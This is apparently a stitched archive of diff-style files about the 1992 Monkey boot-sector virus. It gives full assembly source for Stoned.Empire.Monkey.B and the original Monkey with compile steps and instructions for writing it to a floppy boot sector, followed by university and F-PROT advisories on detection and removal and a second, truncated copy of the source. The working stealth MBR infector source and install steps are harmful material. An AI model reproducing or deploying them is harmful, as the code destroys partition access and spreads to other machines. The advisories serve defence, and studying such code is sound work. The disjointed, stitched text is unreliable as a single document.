580C:0106 extn real_start
__________________ Interrupt Usage Synopsis __________________
Interrupt 10h : Video display ah=functn xxh
Interrupt 10h : ah=00h set display mode in al
__________________ I/O Port Usage Synopsis __________________
No I/O ports used.
+380
View File
@@ -0,0 +1,380 @@
From netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife Sun Jan 15 21:28:13 1995
Xref: netcom.com alt.comp.virus:1039
Newsgroups: alt.comp.virus
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!europa.eng.gtefsd.com!uhog.mit.edu!bloom-beacon.mit.edu!news.media.mit.edu!tmok.res.wpi.edu!halflife
From: halflife@tmok.res.wpi.edu (Halflife)
Subject: monkey-b
Message-ID: <halflife.75.0010F53B@tmok.res.wpi.edu>
Lines: 365
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
Date: Sun, 15 Jan 1995 21:57:21 GMT
Lines: 365
;**************************Stoned.Empire.Monkey.B
;This will create a binary image of Monkey. It compiles real well with the
;A86 compiler. I used that because I was trying to create source that was
;as equivalent to the original binary image as possible. With the exception
;of six bytes that differ due to using functionally equivalent op codes,
;Stoned.Empire.Monkey.B
;This is an MBR infected with the virus, it does not create an executable
;file. It has to be compiled and manually loaded to the MBR or boot sector
;of a floppy diskette. This is an excellent study as to how these types
;of viruses, and will give the researcher an very good resource as to how
;the infection mechanism works and how to prevent/clean this and other
;similar viruses.
;this is an exact duplicate when compiled with A86. If anyone wants to
;complete the commenting, please feel free as I did not understand some of
;this code. the author apparently had an excellent understanding of
;the partition loading stub as these areas are read during the installation
;of the virus. If you do add comments, send me a copy
;Leonard Gragson
;lgragson@fileshop.com
;YBMY91A - Prodigy
;73141,1034 - Compuserve
;
jmp short virus_start ;all jmps are short
nop
mov ss, ax
mov sp, 7c00h
mov si, sp
push ax
pop es
push ax
pop ds
sti
cld
mov di, 0600h
mov cx, 100h
repnz movsw
db 0eah, 1dh, 6, 0, 0
;jmp far 0000:061dh
mov si, 7beh
virus_start:
cli ;no system interrupts
sub bx, bx ;zero bx
mov ds, bx ;
mov ss, bx
mov sp, 7c00h ;just below boot data area
db 0eah, 2fh, 0, 0c0h, 7
;***thats a jmp far 07c0:002f, which is next instruction
;***this sets offsets to org 0
int 12h ;get sys mem in ax
mov si, 4ch
push si
cmp byte ptr cs:[00f2h], 2 ;test for BIOS mem location
jz next_pt1
call shrink_mem
mov di, 01fc
mov cx, 2
cld
repz movsw ;load int13h address into virus INT 13h handler
;which will start at es:0
jmp short next_pt2
next_pt1:
call set_es
next_pt2:
pop si ;points to INT 13h vector entry
mov word ptr [si], 007dh ;offset
mov word ptr [si + 2], ax ;ax == es, where virus handler is going
push cs
pop ds ;ds == 0 up to this point
call mov_virus ;ds now == 7c0h
push es
mov ax, 0062h ;for retf to virus
push ax
sti ;enable interrupts
retf ;to es:62h -> see next routine
set_virus: ;<- this is offset 62h! at virus location es:0062h
mov es, cx ;like xor es, es
mov bx, sp ;still at 7c00h!
push cx
push bx ;for return to 0000:7c00
mov dx, 0080h ;c: drive, cyl 0
call set_si ;haven't figured this out yet
call do_virus_thing
mov cl, 3
mov dx, 80h
call read_drive
call scramble_boot
retf
int_13h_handler:
push ds
push si
push di
push ax
push cx
push dx
call set_si
cmp ah, 2 ;read operation?
jnz not_two
push dx
sub ax, ax
int 1ah
cmp dl, 40h
pop dx
jnb not_two
call do_virus_thing ;write a virus to the drive or disk
not_two:
pop dx
pop cx
pop ax
pop di
push dx
push cx
push ax
cmp cx, 3
jnb not_three
cmp dh, [si] ;check for read/write to virus sector
jnz not_three
cmp ah, 2
jz call_int13h
cmp ah, 3
jnz not_three
cmp dl, 80h
jb not_three
sub ah, ah
jmp short not_three
call_int13h:
call int_13h_call
jb end_handler
call check_data1
jz point_two
call check_data2
jz point_two
clc
jmp short end_handler
point_two:
call set_real_partition
mov dh, [si + 1]
pop ax
call int_13h_call
call scramble_boot
pop cx
pop dx
jmp short end_here
not_three:
call int_13h_call
end_handler:
pop ds
pop ds
pop ds
end_here:
pop si
pop ds
retf 2
data_area db 0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh
read_drive:
mov ax, 0201h ;read 1 sector
int_13h_call:
pushf ;simulate INT
db 2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch]
ret
shrink_mem:
dec ax ;contains mem from int 12h
mov di, 414h
dec di ;this has got to be a "fool the scanner" trick
mov [di], ax ;shrink sys me by 1 K
set_es:
mov cl, 6
shl ax, cl ;get top of base mem in segs
add al, 20h ;add a little more to be safe
mov es, ax ;and set es. This will be about 9fe0h or so
;if full 640K mem
ret
write_drive:
mov dh, [si] ;on first infection si == 0 - head 0
mov ax, 0301h ;write one sector
call int_13h_call ;and do it
ret
do_virus_thing:
sub cx, cx
inc cx
push cx ;god, mov cx, 1
mov dh, [si] ;location of sector
call read_drive ;read in one sector, this will be partition
;on first infection
jb end_do_virus_thing ;error? lets abort
call check_data1 ;do we have 9219h sectors in last partition?
jz end_do_virus_thing ;if so, get out of town
call check_data2
jnz next_virus_pt
cmp word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition?
jz end_do_virus_thing ; quit
mov word ptr es:[bx + 1fah], 0 ;this will kill last partition
mov cl, 1 ;sector 1?
call write_drive
jb end_do_virus_thing ;error abort
inc cx ;sector 2?
mov dh, [si + 2]
call read_drive ;get the boot sector
jb end_do_virus_thing
pop ax ;should == 1
push cx
next_virus_pt:
call set_real_partition
call scramble_boot
inc si
call write_drive
dec si
jb end_do_virus_thing
call scramble_boot
push cx
call mov_virus
pop cx
push dx
mov dl, [si + 3]
;mov word ptr es:[bx + 74h], dx
db 26h, 89h, 97h, 74h, 00
;****equivalent, I did this due to A86 translation being a little
;****different than the virus I captured
pop dx
;mov byte ptr es:[bx + 72h], cl
db 26h, 88h, 8fh, 72h, 00
;****equivalent, I did this due to A86 translation being a little
;****different than the virus I captured
mov word ptr es:[bx + 01feh], 0AA55h
pop cx
push cx
mov byte ptr es:[bx + 00f2h], cl
call write_drive
end_do_virus_thing:
pop ax
ret
mov_virus:
;****************** whole virus including first jmp is stored
;****************** and accessed later for disk/drive infections
push si
mov di, bx ;di == 0
mov si, 20h ;this is where virus starts
add di, si ;he's keeping space between 1st jmp
;and the virus loading stub constant
;to facilitate future infections
mov cx, 1dch ;we're moving this many
repz movsb ;and mov 'em
mov di, bx ;like xor di, di
sub si, si ;like xor si, si
mov cl, 3 ;movs the first jmp
repz movsb ;instruction!
pop si
ret
;************checks for number of sectors in last partition!
check_data1:
cmp word ptr es:[bx + 01fah], 9219h
ret
;************not sure what is going on here, offset 119h is in the partition code
;************this ain't a virus ID
check_data2:
cmp word ptr es:[bx + 119h], 6150h
ret
scramble_boot:
push di
push cx
push ax
mov di, bx
mov cx, 200h
cld
scram_loop:
mov al, byte ptr es:[di]
xor al, 2eh
stosb
loop scram_loop
pop ax
pop cx
pop di
ret
set_si:
push cs
pop ds
mov si, 00eah ;location of real partition
cmp dl, 80h ;hard drive access?
jb end_set_si ;no? lets go
mov si, 00eeh ;hard drive infection routine
end_set_si:
ret
;***********I think this loads the real partition which was read from sector 2
;***********DS equ 7c0h
set_real_partition:
push di
push si
mov al, byte ptr es:[bx + 14h]
mov cx, 4
loop_ptr:
mov si, cx
dec si
cmp [si + 00f3h], al
jz set_cl
loop loop_ptr
mov cl, 3
jmp short bye
set_cl:
mov cl, [si+00f7h]
bye:
pop si
pop di
ret
scraps db 05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah
+691
View File
@@ -0,0 +1,691 @@
page 70,80
Name Monkey
;*******************************************************
;
; Monkey written at the city of champions
; - Edmonton - by UACVRS - Jan 1992.
;
; Monkey is a full stealth MBR/Boot self-replicating program with
; no payload but it does not save the HD's partition
; table in place. When the "infected" computer is booted
; from a floppy, c: drive will no longer be accessible.
;
; To compile: masm monkey (we used MASM 5.0)
; link monkey
; exe2bin monkey.exe monkey.co
; Use NU, or debug to copy monkey.co to the boot
; sector of a floppy. The diskette will not boot
; but will install itself on the hard drive.
;
; Bug: It will trash any floppies higher than
; 1.44meg, not deliberately.
;
;*******************************************************
Code Segment
Assume CS:Code,DS:CODE,ES:CODE
ORG 00H
MAIN:
JMP INITIAL
; space above 1fh is for floppy format data
ORG 1FH
INT_13 EQU THIS BYTE
PUSH DS
PUSH SI
PUSH DI
PUSH AX
PUSH CX
PUSH DX
CALL SET_HEAD
CMP AH,02H
JNZ END_ACTION
PUSH DX
SUB AX,AX
INT 1AH
TIME EQU $ + 2
CMP DL,40H
POP DX
JNB END_ACTION
CALL HANDLE_DISK
END_ACTION:
POP DX
POP CX
POP AX
POP DI
PUSH DX
PUSH CX
PUSH AX
CMP CX,03H ; YES, IS SECTOR LESS THAN 3?
JNB EXIT_2 ; NO, EXIT
CMP DH,BYTE PTR DS:[SI] ; Right head?
JNZ EXIT_2 ; NO, EXIT
CMP AH,02H ; READ ?
JZ STEALTH ; YES, STEALTH
CMP AH,03H ; WRITE ?
JNZ EXIT_2 ; NO, EXIT
; YES!
CMP DL,80H ; HARD DRIVE?
JB EXIT_2 ; NO, EXIT
SUB AH,AH ; else RESET DISK - make HD light blink
JMP SHORT EXIT_2 ; EXIT
STEALTH:
CALL INT13 ; READ
JB EXIT_3 ; ERROR?
CALL COMP_SIG ; MY RELATIVE?
JZ REDIRECT ; YES, REDIRECT
CALL COMP_PA ; NO, IS IT PA?
JZ REDIRECT ; YES, REDIRECT
EXIT_0:
CLC ; NO, RESET FLAG
JMP SHORT EXIT_3 ; EXIT
REDIRECT:
CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD
POP AX ; RESTORE AX
CALL INT13 ; RE-READ
CALL ENCRPT_PBR
POP CX ; RESTORE CX, DX
POP DX
JMP SHORT EXIT_4 ; EXIT
EXIT_2:
CALL INT13
EXIT_3:
POP DS
POP DS
POP DS
EXIT_4:
POP SI
POP DS
RETF 0002H
READ_SEC_1:
MOV AX,0201H ; READ
INT13 PROC NEAR
PUSHF
CALL DWORD PTR CS:INT13_ADDR ;***********
RET
INT13 ENDP
HOOK_ENTRY EQU THIS BYTE
HOOK:
INT 12H
MOV SI,004CH
PUSH SI
CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2?
JZ SETUP_SPECIAL
SETUP_NORMAL:
CALL SHIFT_NORMAL
MOV DI,OFFSET INT13_ADDR
MOV CX,0002H
CLD
REPZ MOVSW
JMP SHORT STORE_SEGMENT
SETUP_SPECIAL:
CALL SHIFT_SPECIAL
STORE_SEGMENT:
POP SI
MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT
MOV DS:[SI+2],AX ; STORE MY SEGMENT
PATCH_OVER:
PUSH CS
POP DS
CALL PATCH ; PATCH OVER
PUSH ES ; PUSH SEGMENT
MOV AX,OFFSET JMP_ADDR
PUSH AX ; PUSH ADDRESS
STI
RETF ; FAR JMP
JMP_ADDR EQU THIS BYTE
BOOT:
MOV ES,CX
MOV BX,SP ; TO 0000:7C00
PUSH CX ; SAVE JMP SEGMENT
PUSH BX
MOV DX,0080H ; HANDLE C:
CALL SET_HEAD
CALL HANDLE_DISK
BOOT_SEC EQU $ + 1
MOV CL,05H ; FROM SECTOR 3 ????
BOOT_DISK EQU $ + 1
MOV DX,0100H ; C:, HEAD 0 ????
CALL READ_SEC_1 ; INT 13
CALL ENCRPT_PBR
RETF
HANDLE_DISK PROC NEAR
; *** READ SECTOR 1 ***
SUB CX,CX
INC CX
PUSH CX
MOV DH,[SI] ; HEAD
CALL READ_SEC_1 ; INT 13
JB END_HANDLE_DISK ; ERROR -> END
; *** COMPARE ***
CALL COMP_SIG
JZ E_2 ; SAME -> UPDATE MYSELF
; *** PA? ***
CALL COMP_PA ; Is it Pagett's disksec?
JNZ UPDATE_DISK ; NO
; *** OK? ***
INC CX
CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
; to 0 means disksec would not do
; checksum of partitions - Pagett
; sucks
JZ E_2 ; SAME -> UPDATE MYSELF
MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero
MOV CL,1H ; write the change back to sector 1
CALL WRITE_SEC_1 ;
JB END_HANDLE_DISK
; *** YES! READ SECTOR 2 ***
INC CX ; yes,Pagette 's disksecure is on sector 1
MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2
CALL READ_SEC_1 ; INT 13
JB END_HANDLE_DISK ; ERROR -> END
POP AX
PUSH CX
UPDATE_DISK:
CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
CALL ENCRPT_PBR
INC SI
CALL WRITE_SEC_1
DEC SI
JB END_HANDLE_DISK
CALL ENCRPT_PBR
PUSH CX
CALL PATCH
POP CX
PUSH DX
CMP DL,80H
JNB E_1
XOR DL,DL
E_1:
MOV WORD PTR ES:[BX+BOOT_DISK],DX
POP DX
MOV BYTE PTR ES:[BX+BOOT_SEC],CL
POP CX
PUSH CX
MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
E_2:
CALL WRITE_SEC_1
END_HANDLE_DISK:
POP AX
RET
HANDLE_DISK ENDP
WRITE_SEC_1 PROC NEAR
MOV DH,[SI]
WRITE_SEC_2:
MOV AX,0301H
CALL INT13
RET
WRITE_SEC_1 ENDP
COMP_SIG PROC NEAR
CMP ES:[BX+OFFSET PROG_SIG],9219H
RET
COMP_SIG ENDP
COMP_PA PROC NEAR
CMP WORD PTR ES:[BX+119H],6150H ; PA?
RET
COMP_PA ENDP
HOME_SEC DB 01H
FLOPPY_HEAD DB 00H,01H,01H
HARD_HEAD DB 00H,00H,00H
; 360 720 1.2 1.44
FLOP_SECT_TABLE DB 02H,05H,09H,0BH
SAVE_SECT_TABLE DB 03H,05H,0EH,0EH
CHSEC PROC NEAR
PUSH DI
PUSH SI
MOV AL,ES:[BX+14H]
MOV CX,0004H
CHSEC_1:
MOV SI,CX
DEC SI
CMP FLOP_SECT_TABLE[SI],AL
JZ CHSEC_END_1
LOOP CHSEC_1
MOV CL,03H
JMP SHORT CHSEC_END_2
CHSEC_END_1:
MOV CL,SAVE_SECT_TABLE[SI]
CHSEC_END_2:
POP SI
POP DI
RET
CHSEC ENDP
SHIFT_NORMAL PROC NEAR
; FIND THE SEGMENT TO HIDE
DEC AX
MOV DS:[413H],AX
SHIFT_SPECIAL:
MOV CL,06H
SHL AX,CL
ADD AL,20H
MOV ES,AX
RET
SHIFT_NORMAL ENDP
PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
PUSH SI
MOV DI,BX
MOV SI,OFFSET INT_13
ADD DI,SI
; CLD
MOV CX,OFFSET PROG_END - OFFSET INT_13
REPZ MOVSB
PATCH_JMP:
MOV DI,BX
SUB SI,SI
MOV CL,3H
REPZ MOVSB
POP SI
RET
PATCH ENDP
SET_HEAD PROC NEAR
PUSH CS
POP DS
MOV SI,OFFSET FLOPPY_HEAD
CMP DL,80H
JB SET_HEAD_EXIT
MOV SI,OFFSET HARD_HEAD
SET_HEAD_EXIT:
RET
SET_HEAD ENDP
INITIAL:
CLI
SUB BX,BX
MOV DS,BX
MOV SS,BX
MOV SP,7C00H
JMP HOOK
NOP
NOP
ENCRPT_PBR:
PUSH DI
PUSH CX
PUSH AX
MOV DI,BX
MOV CX,200H
CLD
ENCRPT_1:
MOV AL,ES:[DI]
ENCRPT_CODE EQU $ + 0001H
XOR AL,2EH
STOSB
LOOP ENCRPT_1
POP AX
POP CX
POP DI
RET
ORG 01F4H
;PROG_NAME DB "Monkey"
PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h
ORG 01FAH
PROG_SIG DB 19H,92H
PROG_END EQU THIS BYTE
ORG 01FCH
INT13_ADDR DB 00H,00H
ORG 01FEH
BOOT_SIG DB 55H,0AAH
PROG_TAIL EQU THIS BYTE
PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13
CODE ENDS
END MAIN
; from U of A
NEW COMPUTER VIRUS THREAT Posted: July 9, 1992
MONKEY VIRUSES ON PCs
The Monkey viruses are main boot record/boot sector infectors,
derived from the Empire D virus. Two variants of the Monkey virus
have been identified. Of particular concern is the fact these
viruses can infect computers protected by the Disk Secure program,
while causing no noticeable changes. Symptoms of infection for
those computers without Disk Secure include memory reduction and
hard drive partitions which are not accessible when booting up
with a floppy disk. When the viruses are active on computers
without Disk Secure, total memory will be reduced by 1,024 bytes.
Monkey viruses destroy partition table data. If an infected system
is booted up from a clean boot disk, DOS claims to be unable to
access the hard drive partitions. A DIR C: command will return the
message, "Invalid drive specification."
Detection
The simplest method of detection involves recognizing a 1K
decrease in memory. The DOS commands CHKDSK and MEM will return 1K
less "total conventional memory" than is normal.
Of the popular virus scanning products, only F-PROT version 2.04A
finds the Monkey viruses, calling them a "New variant of Stoned."
It will identify the virus in memory as well. The F-PROT Virstop
driver does not recognize the Monkey viruses on boot-up.
Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC
program that will notice the presence of the Monkey viruses. Note
that Disk Secure itself will not detect the infection: it is
important that the CHKSEC command be called from the autoexec.bat
file.
As well, a special program to find and remove the Monkey viruses,
called KILLMONK, has been written at the University of Alberta.
Removal
To clean a hard disk: If you have previously saved a copy of the
clean main boot record (MBR), then this can be restored. (Many
anti-virus products have an automated way of doing this.) If you
don't have a copy of the original MBR, and don't know what values
your partition table should have, then the KILLMONK program will
restore the partition table for you.
To restore diskettes: Use the KILLMONK program.
The newest version of F-PROT (version 2.04A) and the KILLMONK
program, are both available, free of charge, from Computing and
Network Services. Bring a formatted diskette to the Microcomputer
Demonstration Centre (MDC), in the basement of the Bookstore, or a
ready-made diskette can be purchased for $2.00 from the CNS User
Support Centre at 302 General Services Building. These programs
can also be downloaded from the MTS account VIR.
;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences)
Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC)
Date: 20 Jul 92 09:10:09 GMT
Virus Name: MONKEY.1, MONKEY.2 (Empire variants)
V Status: New
Discovery: February, 1992
Symptoms: Memory reduction, hard drive partitions not accessible on
floppy bootup.
Origin: Alberta, Canada
Eff. Length: 512 bytes
Type Code: BPRtS (Boot and Partition table infector - Resident TOM -
Stealth)
Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK
Removal: Cold boot from clean, write-protected floppy, replace MBR
(hard
disk) or Boot Sector (floppy).
General Comments:
The Monkey viruses are Main Boot Record / Boot Sector infectors,
derived from the Empire D virus. Two variants of the Monkey virus
have been identified: their most obvious difference is in the initial
bytes at offset 0:
Monkey.1: E9 CD 01 (JMP 02D0)
Monkey.2: EB 1E 90 (JMP 0020 ; NOP)
Both variants keep the original sector's data at offset 03h - 1fh. In
boot sectors, this region contains data required to identify the
diskette format. This solves the problem noticed with earlier
variants of Empire, whereby infected 720k diskettes were sometimes
unreadable.
The Monkey viruses take 1k from the top of memory. When active, total
memory will be reduced by 1024 bytes.
The Monkey viruses use stealth to protect both the MBR and diskette
boot sectors. When active in memory, Int 13h calls cannot access the
infected sector of either hard disks or floppies.
The Monkey viruses are not polimorphic. They do not encode any of the
virus, as was done by some of the earlier Empire variants. But before
saving the clean MBR or boot sector to a hiding place, the Monkey
viruses do encode that sector, using an "XOR 2Eh". This creates a
problem for any disinfecting program that recover the initial boot
sector or MBR by copying it from the hiding place.
When a hard disk is infected, the encoded MBR is put at side 0,
cylinder 0, sector 3.
When a floppy diskette is infected, the original boot sector is placed
in the bottom sector of the root directory. This means directory
entries will be lost only if the root directory is nearly full -- more
than 96 entries on double density diskettes, or more than 208 entries
on high density diskettes. The virus is designed to identify only the
four most common diskette formats. If the diskette is not of a
recognized format, the boot sector is put on side 1, sector 3. I have
no idea what would happen to a 2.88Mb diskette, but I suspect the
virus would damage the File Allocation Table, causing loss of data.
The Monkey viruses do not put any messages to the screen at any time,
but the virus code does contain, encrypted, the string "Monkey",
followed by bytes 1992h. It may be significant that the chinese Year
of the Monkey began in February 1992.
The most remarkable characteristic of the Monkey viruses is that they
were designed as an attack on Padgett Peterson's "Disk Secure"
product. When a computer is booted from an infected diskette, the
virus first checks whether Disk Secure is on the hard disk. If it is,
the virus puts itself in sector 2, rather than sector 1, and slightly
modifies Disk Secure, so that Disk Secure will load the virus after
Disk Secure has checked the system and loaded itself. The monkey
viruses install themselves and above Disk Secure, in memory, at offset
200h.
The Monkey viruses do not save the partition table data in place, so
if an infected system is booted from a clean boot disk, DOS claims to
be unable to access the hard drive partitions. A DIR C: command will
return "Invalid drive specification".
Detection:
Of the popular virus scanning products, only F-PROT 2.04 finds the
Monkey viruses, calling them a "New variant of stoned". It will
identify the virus in memory as well. The F-PROT Virstop driver does
not recognise the Monkey viruses, on boot-up.
Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will
notice the presence of the Monkey viruses. Notice that Disk Secure
itself will not detect the infection: it is important that the CHKSEC
command be called from the autoexec.bat file.
The simplest detection still involves recognizing a 1k decrease in
memory. CHKDSK and MEM will return 1k less "total conventional
memory" than normal.
A special program to find and remove the Monkey viruses, called
KILLMONK, has been written at the University of Alberta. I hope to
make this available to the anti-virus community shortly.
Removal:
The undocumented /MBR option of FDISK does remove the Monkey virus
from the MBR, provided the computer was booted from a clean floppy,
but it does not restore the correct partition table values. The
problem is that the partition table is not in place in sector one: the
table is encoded, in sector 3.
To clean a hard disk: If you have previously saved a copy of the clean
MBR, then this can be restored. (Many anti-virus products have an
automated way of doing this.) If you don't have a copy of the
original MBR, and don't know what values your partition table should
have, then the KILLMONK program may be what you need.
To restore diskettes: Padgett Peterson's FIXFBR works very well,
though it doesn't recognize that the disk is infected. Another
alternative is the KILLMONK program.
Scan String:
The following hexidecimal string is in both variants of Monkey. It is
from the code the virus uses to recognize itself.
26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61
Tim
; From F-PROT
Name: Monkey
Type: Boot MBR Stealth
The Monkey virus was first discovered in Edmonton, Canada, in the
year 1991. The virus spread quickly to USA, Australia and UK.
Monkey is one of the most common boot sector viruses.
As the name indicates, Monkey is a distant relative of Stoned.
Its technical properties make it quite a remarkable virus,
however. The virus infects the Master Boot Records of hard disks
and the DOS boot records of diskettes, just like Stoned. Monkey
spreads only through diskettes.
Monkey does not let the original partition table remain in its
proper place in the Master Boot Record, as Stoned does. Instead
it moves the whole Master Boot Record to the hard disk's third
sector, and replaces it with its own code. The hard disk is
inaccesible after a diskette boot, since the operating system
cannot find valid partition data in the Master Boot Record -
attempts to use the hard disk result in the DOS error message
"Invalid drive specification".
When the computer is booted from the hard disk, the virus is
executed first, and the hard disk can thereafter be used
normally. The virus is not, therefore, easily noticeable, unless
the computer is booted from a diskette.
The fact that Monkey encrypts the Master Boot Record besides
relocating it on the disk makes the virus still more difficult to
remove. The changes to the Master Boot Record cannot be detected
while the virus is active, since it rerouts the BIOS-level disk
calls through its own code. Upon inspection, the hard disk seems
to be in its original shape.
The relocation and encryption of the partition table render two
often-used disinfection procedures unviable. One of these is the
MS-DOS command FDISK /MBR, capable of removing most viruses that
infect Master Boot Records. The other is using a disk editor to
restore the Master Boot Record back on the zero track. Although
both of these procedures destroy the actual virus code, the
computer cannot be booted from the hard disk afterwards.
There are five different ways to remove the Monkey
virus:
o The original Master Boot Record and partition table can
be restored from a backup taken before the infection.
Such a backup can be made by using, for example, the
MIRROR /PARTN command of MS-DOS 5.
o The hard disk can be repartitioned by using the FDISK
program, after which the logical disks must be formatted.
All data on the hard disk will consequently be lost,
however.
o The virus code can be overwritten by using FDISK/MBR, and
the partition table restored manually. In this case, the
partition values of the hard disk must be calculated and
inserted in the partition table with the help of a disk
editor. The method requires expert knowledge of the disk
structure, and its success is doubtful.
o It is possible to exploit Monkey's stealth capabilities
by taking a copy of the zero track while the virus is
active. Since the virus hides the changes it has made,
this copy will actually contain the original Master Boot
Record. This method is not recommendable, because the
diskettes used in the copying may well get infected.
o The original zero track can be located, decrypted and
moved back to its proper place. As a result, the hard
disk is restored to its exact original state. F-PROT uses
this method to disinfect the Monkey virus.
It is difficult to spot the virus, since it does not activate in
any way. A one-kilobyte reduction in DOS memory is the only
obvious sign of its presence. The memory can be checked with, for
instance, DOS's CHKDSK and MEM programs. However, even if MEM
reports that the computer has 639 kilobytes of basic memory
instead of the more common 640 kilobytes, it does not necessarily
mean that the computer is infected. In many computers, the BIOS
allocates one kilobyte of basic memory for its own use.
The Monkey virus is quite compatible with different diskette
types. It carries a table containing data for the most common
diskettes. Using this table, the virus is able to move a
diskette's original boot record and a part of its own code to a
safe area on the diskette. Monkey does not recognize 2.88
megabyte ED diskettes, however, and partly overwrites their File
Allocation Tables.
+303
View File
@@ -0,0 +1,303 @@
; A86 Assembler source for Monkey-B virus.
jmp short virus_start ;all jmps are short
nop
mov ss, ax
mov sp, 7c00h
mov si, sp
push ax
pop es
push ax
pop ds
sti
cld
mov di, 0600h
mov cx, 100h
repnz movsw
db 0eah, 1dh, 6, 0, 0
;jmp far 0000:061dh
mov si, 7beh
virus_start:
cli ;no system interrupts
sub bx, bx ;zero bx
mov ds, bx ;
mov ss, bx
mov sp, 7c00h ;just below boot data area
db 0eah, 2fh, 0, 0c0h, 7
;***thats a jmp far 07c0:002f, which is next instruction
;***this sets offsets to org 0
int 12h ;get sys mem in ax
mov si, 4ch
push si
cmp byte ptr cs:[00f2h], 2 ;test for BIOS mem location
jz next_pt1
call shrink_mem
mov di, 01fc
mov cx, 2
cld
repz movsw ;load int13h address into virus INT 13h handler
;which will start at es:0
jmp short next_pt2
next_pt1:
call set_es
next_pt2:
pop si ;points to INT 13h vector entry
mov word ptr [si], 007dh ;offset
mov word ptr [si + 2], ax ;ax == es, where virus handler is going
push cs
pop ds ;ds == 0 up to this point
call mov_virus ;ds now == 7c0h
push es
mov ax, 0062h ;for retf to virus
push ax
sti ;enable interrupts
retf ;to es:62h - see next routine
set_virus: ;<- this is offset 62h! at virus location es:0062h
mov es, cx ;like xor es, es
mov bx, sp ;still at 7c00h!
push cx
push bx ;for return to 0000:7c00
mov dx, 0080h ;c: drive, cyl 0
call set_si ;haven't figured this out yet
call do_virus_thing
mov cl, 3
mov dx, 80h
call read_drive
call scramble_boot
retf
int_13h_handler:
push ds
push si
push di
push ax
push cx
push dx
call set_si
cmp ah, 2 ;read operation?
jnz not_two
push dx
sub ax, ax
int 1ah
cmp dl, 40h
pop dx
jnb not_two
call do_virus_thing ;write a virus to the drive or disk
not_two:
pop dx
pop cx
pop ax
pop di
push dx
push cx
push ax
cmp cx, 3
jnb not_three
cmp dh, [si] ;check for read/write to virus sector
jnz not_three
cmp ah, 2
jz call_int13h
cmp ah, 3
jnz not_three
cmp dl, 80h
jb not_three
sub ah, ah
jmp short not_three
call_int13h:
call int_13h_call
jb end_handler
call check_data1
jz point_two
call check_data2
jz point_two
clc
jmp short end_handler
point_two:
call set_real_partition
mov dh, [si + 1]
pop ax
call int_13h_call
call scramble_boot
pop cx
pop dx
jmp short end_here
not_three:
call int_13h_call
end_handler:
pop ds
pop ds
pop ds
end_here:
pop si
pop ds
retf 2
data_area db 0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh,
0eh
read_drive:
mov ax, 0201h ;read 1 sector
int_13h_call:
pushf ;simulate INT
db 2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch]
ret
shrink_mem:
dec ax ;contains mem from int 12h
mov di, 414h
dec di ;this has got to be a "fool the scanner" trick
mov [di], ax ;shrink sys me by 1 K
set_es:
mov cl, 6
shl ax, cl ;get top of base mem in segs
add al, 20h ;add a little more to be safe
mov es, ax ;and set es. This will be about 9fe0h or so
;if full 640K mem
ret
write_drive:
mov dh, [si] ;on first infection si == 0 - head 0
mov ax, 0301h ;write one sector
call int_13h_call ;and do it
ret
do_virus_thing:
sub cx, cx
inc cx
push cx ;god, mov cx, 1
mov dh, [si] ;location of sector
call read_drive ;read in one sector, this will be
partition
;on first infection
jb end_do_virus_thing ;error? lets abort
call check_data1 ;do we have 9219h sectors in last
partition?
jz end_do_virus_thing ;if so, get out of town
call check_data2
jnz next_virus_pt
cmp word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition?
jz end_do_virus_thing ; quit
mov word ptr es:[bx + 1fah], 0 ;this will kill last partition
mov cl, 1 ;sector 1?
call write_drive
jb end_do_virus_thing ;error abort
inc cx ;sector 2?
mov dh, [si + 2]
call read_drive ;get the boot sector
jb end_do_virus_thing
pop ax ;should == 1
push cx
next_virus_pt:
call set_real_partition
call scramble_boot
inc si
call write_drive
dec si
jb end_do_virus_thing
call scramble_boot
push cx
call mov_virus
pop cx
push dx
mov dl, [si + 3]
;mov word ptr es:[bx + 74h], dx
db 26h, 89h, 97h, 74h, 00
;****equivalent, I did this due to A86 translation being a little
;****different than the virus I captured
pop dx
;mov byte ptr es:[bx + 72h], cl
db 26h, 88h, 8fh, 72h, 00
;****equivalent, I did this due to A86 translation being a little
;****different than the virus I captured
mov word ptr es:[bx + 01feh], 0AA55h
pop cx
push cx
mov byte ptr es:[bx + 00f2h], cl
call write_drive
end_do_virus_thing:
pop ax
ret
mov_virus:
;****************** whole virus including first jmp is stored
;****************** and accessed later for disk/drive infections
push si
mov di, bx ;di == 0
mov si, 20h ;this is where virus starts
add di, si ;he's keeping space between 1st jmp
;and the virus loading stub constant
;to facilitate future infections
mov cx, 1dch ;we're moving this many
